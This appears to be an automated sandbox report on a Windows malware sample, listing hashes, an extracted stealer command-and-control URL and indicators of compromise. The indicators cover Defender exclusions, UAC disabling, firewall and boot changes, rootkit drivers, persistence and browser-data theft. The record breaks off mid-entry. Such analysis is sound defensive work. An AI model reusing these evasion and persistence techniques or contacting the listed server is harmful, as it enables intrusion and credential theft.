Analysis
-
max time kernel
283s -
max time network
301s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
18-04-2024 22:28
Static task
static1
Behavioral task
behavioral1
Sample
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe
Resource
win7-20240221-en
General
-
Target
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe
-
Size
561KB
-
MD5
46a804d527cc255bad3c068d588bff95
-
SHA1
72429d34eef9986b3ad14dce58416c9c5753438a
-
SHA256
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d
-
SHA512
2a3f478451930aa56bc019155a08c1c130f7499b942cf9c01c7809f43b4662010d061fd5b7c10e3c949e9611147b5893db12a59a20e17b3207752b2d7d36a8bc
-
SSDEEP
12288:mj3ByhBS4gUqbBy2O2oQ26EnG/Q7n+chJ:mbBQBSVU52O2oQYG/2n+chJ
Malware Config
Extracted
stealc
http://185.172.128.209
-
url_path
/3cd2b41cbde8fc9c.php
Signatures
-
Detect ZGRat V1 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1920-638-0x000000001F020000-0x000000001F130000-memory.dmp family_zgrat_v1 behavioral1/memory/1920-642-0x0000000005C70000-0x0000000005C94000-memory.dmp family_zgrat_v1 -
Glupteba payload 17 IoCs
Processes:
resource yara_rule behavioral1/memory/2768-234-0x0000000004DB0000-0x000000000569B000-memory.dmp family_glupteba behavioral1/memory/1544-235-0x0000000004CD0000-0x00000000055BB000-memory.dmp family_glupteba behavioral1/memory/2768-261-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/1544-266-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2768-326-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/1544-329-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2324-416-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2324-451-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2324-458-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2324-471-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2324-488-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2324-538-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/1896-560-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2324-570-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/2324-607-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/1896-614-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba behavioral1/memory/1896-637-0x0000000000400000-0x0000000003009000-memory.dmp family_glupteba -
Modifies firewall policy service 2 TTPs 1 IoCs
Processes:
H1R9yVgc2hsnjftMSftKbBxx.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" H1R9yVgc2hsnjftMSftKbBxx.exe -
Processes:
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe -
Processes:
mCR3AVzyGr7MPxLy7AiVy03L.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exeihVAocaecZJtyXZ7CkLGJpfb.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ARTXeDTAxvUn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ofqvFcNvzeRditbz = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ofqvFcNvzeRditbz = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ByWuwrOBU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DUGaRsFaSnqjC = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DUGaRsFaSnqjC = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\ihVAocaecZJtyXZ7CkLGJpfb.exe = "0" ihVAocaecZJtyXZ7CkLGJpfb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ofqvFcNvzeRditbz = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RVqmAwyyxwiU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RVqmAwyyxwiU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\wGkeBUkfAIhWvVVB = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ARTXeDTAxvUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ByWuwrOBU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\wGkeBUkfAIhWvVVB = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ofqvFcNvzeRditbz = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\mCR3AVzyGr7MPxLy7AiVy03L.exe = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
H1R9yVgc2hsnjftMSftKbBxx.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ H1R9yVgc2hsnjftMSftKbBxx.exe -
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 1724 bcdedit.exe 1452 bcdedit.exe 1164 bcdedit.exe 2056 bcdedit.exe 2396 bcdedit.exe 1728 bcdedit.exe 432 bcdedit.exe 924 bcdedit.exe 952 bcdedit.exe 2564 bcdedit.exe 1944 bcdedit.exe 1636 bcdedit.exe 1708 bcdedit.exe 1600 bcdedit.exe -
Blocklisted process makes network request 4 IoCs
Processes:
rundll32.exemsiexec.exeflow pid process 80 1404 rundll32.exe 114 1508 msiexec.exe 116 1508 msiexec.exe 118 1508 msiexec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 4 IoCs
Processes:
csrss.exeMsiExec.exedescription ioc process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe File opened for modification C:\Windows\system32\DRIVERS\SET87F5.tmp MsiExec.exe File created C:\Windows\system32\DRIVERS\SET87F5.tmp MsiExec.exe File opened for modification C:\Windows\system32\DRIVERS\VBoxDrv.sys MsiExec.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 1740 netsh.exe 1820 netsh.exe -
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Checks BIOS information in registry 2 TTPs 5 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
H1R9yVgc2hsnjftMSftKbBxx.exeInstall.exeInstall.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion H1R9yVgc2hsnjftMSftKbBxx.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion H1R9yVgc2hsnjftMSftKbBxx.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wyOxbcC.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\International\Geo\Nation wyOxbcC.exe -
Drops startup file 8 IoCs
Processes:
installutil.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NBCaHkbmlPuHjuRP3PPteGpH.bat installutil.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zRr35i72B4nHPn9gsCW3fzsl.bat installutil.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0i6fRWxvJGn03Rnjq7nJgTh2.bat installutil.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Oa0AkWaFDeyXdySuILmeITHe.bat installutil.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\O8107hf9lzZ0N1w5oib45R1d.bat installutil.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kqEdP5uFU5dnYoLJnLSRmuip.bat installutil.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZLfvwz7IhJzwWd60xzrHhiFm.bat installutil.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PrlP7E2DPUs1zzh43HCDwsIH.bat installutil.exe -
Executes dropped EXE 26 IoCs
Processes:
BLs8QKIDGswyOr3AAVlhpZjd.exeihVAocaecZJtyXZ7CkLGJpfb.exemCR3AVzyGr7MPxLy7AiVy03L.exeut4.0.exeihVAocaecZJtyXZ7CkLGJpfb.exemCR3AVzyGr7MPxLy7AiVy03L.exeH1R9yVgc2hsnjftMSftKbBxx.exei5kRDbOKbrdtQX6nnSWk8jTv.exeQtUUngaStcIZoM7v0cC6tLZY.exeInstall.exeInstall.exeQg_Appv5.exeut4.1.exeeIclyav.exeUniversalInstaller.execsrss.exeUniversalInstaller.exeinjector.exepatch.exewyOxbcC.exedsefix.exewindefender.exewindefender.exeG7hmDopetpLbfVrLne3Qrsqu.exece-installer_7.14.2_vbox-6.1.20.exeLaaVLNZ.exepid process 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 2768 ihVAocaecZJtyXZ7CkLGJpfb.exe 1544 mCR3AVzyGr7MPxLy7AiVy03L.exe 2044 ut4.0.exe 1896 ihVAocaecZJtyXZ7CkLGJpfb.exe 2324 mCR3AVzyGr7MPxLy7AiVy03L.exe 1464 H1R9yVgc2hsnjftMSftKbBxx.exe 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe 692 QtUUngaStcIZoM7v0cC6tLZY.exe 1592 Install.exe 2084 Install.exe 1184 Qg_Appv5.exe 2320 ut4.1.exe 2564 eIclyav.exe 1496 UniversalInstaller.exe 1456 csrss.exe 1628 UniversalInstaller.exe 2308 injector.exe 2012 patch.exe 1124 wyOxbcC.exe 1584 dsefix.exe 2200 windefender.exe 2424 windefender.exe 1748 G7hmDopetpLbfVrLne3Qrsqu.exe 2056 ce-installer_7.14.2_vbox-6.1.20.exe 2000 LaaVLNZ.exe -
Loads dropped DLL 62 IoCs
Processes:
installutil.exeBLs8QKIDGswyOr3AAVlhpZjd.exei5kRDbOKbrdtQX6nnSWk8jTv.exeQtUUngaStcIZoM7v0cC6tLZY.exeInstall.exeInstall.exemCR3AVzyGr7MPxLy7AiVy03L.exeUniversalInstaller.exeUniversalInstaller.exeSystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.execsrss.exepatch.exerundll32.exeG7hmDopetpLbfVrLne3Qrsqu.exeMsiExec.exeMsiExec.exepid process 2148 installutil.exe 2148 installutil.exe 2148 installutil.exe 2148 installutil.exe 2148 installutil.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 2148 installutil.exe 2148 installutil.exe 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe 2148 installutil.exe 692 QtUUngaStcIZoM7v0cC6tLZY.exe 692 QtUUngaStcIZoM7v0cC6tLZY.exe 692 QtUUngaStcIZoM7v0cC6tLZY.exe 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe 692 QtUUngaStcIZoM7v0cC6tLZY.exe 1592 Install.exe 1592 Install.exe 1592 Install.exe 2084 Install.exe 2084 Install.exe 2084 Install.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe 2324 mCR3AVzyGr7MPxLy7AiVy03L.exe 2324 mCR3AVzyGr7MPxLy7AiVy03L.exe 1496 UniversalInstaller.exe 1496 UniversalInstaller.exe 1496 UniversalInstaller.exe 1628 UniversalInstaller.exe 1628 UniversalInstaller.exe 1920 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 1920 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 1456 csrss.exe 844 2012 patch.exe 2012 patch.exe 2012 patch.exe 2012 patch.exe 2012 patch.exe 1404 rundll32.exe 1404 rundll32.exe 1404 rundll32.exe 1404 rundll32.exe 2012 patch.exe 2012 patch.exe 2012 patch.exe 1456 csrss.exe 2148 installutil.exe 1748 G7hmDopetpLbfVrLne3Qrsqu.exe 2780 2340 MsiExec.exe 1352 MsiExec.exe 1352 MsiExec.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Registers COM server for autorun 1 TTPs 12 IoCs
Processes:
msiexec.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32\ = "C:\\Program Files\\Oracle\\VirtualBox\\VBoxProxyStub.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32\ThreadingModel = "Both" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}\InprocServer32\ = "C:\\Program Files\\Oracle\\VirtualBox\\VBoxC.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}\InprocServer32\ThreadingModel = "Free" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3C02F46D-C9D2-4F11-A384-53F0CF917214}\InprocServer32\ = "C:\\Program Files\\Oracle\\VirtualBox\\VBoxC.dll" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{B1A7A4F2-47B9-4A1E-82B2-07CCD5323C3F}\LocalServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B1A7A4F2-47B9-4A1E-82B2-07CCD5323C3F}\LocalServer32\ = "\"C:\\Program Files\\Oracle\\VirtualBox\\VBoxSVC.exe\"" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{3C02F46D-C9D2-4F11-A384-53F0CF917214}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3C02F46D-C9D2-4F11-A384-53F0CF917214}\InprocServer32\ThreadingModel = "Free" msiexec.exe -
Processes:
resource yara_rule \Users\Admin\Pictures\H1R9yVgc2hsnjftMSftKbBxx.exe themida behavioral1/memory/1464-340-0x000000013FE40000-0x0000000140922000-memory.dmp themida behavioral1/memory/1464-346-0x000000013FE40000-0x0000000140922000-memory.dmp themida behavioral1/memory/1464-347-0x000000013FE40000-0x0000000140922000-memory.dmp themida behavioral1/memory/1464-348-0x000000013FE40000-0x0000000140922000-memory.dmp themida behavioral1/memory/1464-349-0x000000013FE40000-0x0000000140922000-memory.dmp themida behavioral1/memory/1464-350-0x000000013FE40000-0x0000000140922000-memory.dmp themida behavioral1/memory/1464-425-0x000000013FE40000-0x0000000140922000-memory.dmp themida -
Processes:
mCR3AVzyGr7MPxLy7AiVy03L.exeihVAocaecZJtyXZ7CkLGJpfb.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\mCR3AVzyGr7MPxLy7AiVy03L.exe = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\ihVAocaecZJtyXZ7CkLGJpfb.exe = "0" ihVAocaecZJtyXZ7CkLGJpfb.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" mCR3AVzyGr7MPxLy7AiVy03L.exe -
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
mCR3AVzyGr7MPxLy7AiVy03L.exeihVAocaecZJtyXZ7CkLGJpfb.execsrss.exeG7hmDopetpLbfVrLne3Qrsqu.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" mCR3AVzyGr7MPxLy7AiVy03L.exe Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" ihVAocaecZJtyXZ7CkLGJpfb.exe Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" G7hmDopetpLbfVrLne3Qrsqu.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exeH1R9yVgc2hsnjftMSftKbBxx.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA H1R9yVgc2hsnjftMSftKbBxx.exe -
Drops Chrome extension 3 IoCs
Processes:
wyOxbcC.exeLaaVLNZ.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json wyOxbcC.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json wyOxbcC.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json LaaVLNZ.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Manipulates WinMon driver. 1 IoCs
Roottkits write to WinMon to hide PIDs from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMon csrss.exe -
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 35 IoCs
Processes:
wyOxbcC.exeeIclyav.exeLaaVLNZ.exeMsiExec.exepowershell.exeH1R9yVgc2hsnjftMSftKbBxx.exepowershell.exerundll32.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_155F6CC932BF304EF612DAA091EECD91 wyOxbcC.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini eIclyav.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA wyOxbcC.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_4AAAE8DA7A12C7A50B5920DE5F0F0D15 wyOxbcC.exe File opened for modification 